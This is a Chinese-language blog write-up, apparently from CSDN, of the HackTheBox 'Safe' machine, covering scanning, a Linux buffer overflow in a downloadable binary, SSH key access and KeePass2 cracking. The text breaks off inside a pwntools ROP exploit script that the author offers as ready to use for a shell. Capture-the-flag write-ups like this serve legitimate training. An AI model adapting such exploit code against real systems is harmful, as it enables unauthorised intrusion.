hackthebox-safe(考点:新建ssh连接& keepass2)

本文介绍了在HackTheBox的Safe挑战中,如何通过扫描22和80端口,尝试SSH连接,下载并利用Linux BOF漏洞,新建SSH key连接,解密KeePass2数据库,最终进行提权获取root权限的过程。
摘要由CSDN通过智能技术生成

扫描

常规22和80端口。22想到ssh登录,80进去web搜集信息
没发现什么,web页面 ctrl+u 看前端源码发现 隐藏说可以下myapp

在这里插入图片描述

超纲的bof

下载

10.10.10.147/myapp

这明显是linux缓冲区溢出,但是难度远超oscp的,所以针对oscp备考者,不必要把时间浪费在这。而且考试似乎只考win的bof。如果你学有余力,倒可以多研究研究。

这段脚本可直接拿去用,直接拿shell。 但是前提要安装pwn库。专门的ctf库。可以参考这个,但过程可能因每人电脑里python安装情况等不同而各种报错。或许很难安装上。我也是搞了很久才莫名其妙的发现可以用了。。。

#!/usr/bin/env python


from pwn import *

context(os="linux", arch="amd64")
#context(log_level='DEBUG')

junk = "A"*120

got_puts = p64(0x404018)
plt_system = p64(0x401040)
pop_rdi  = p64(0x40120b)
main     = p64
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值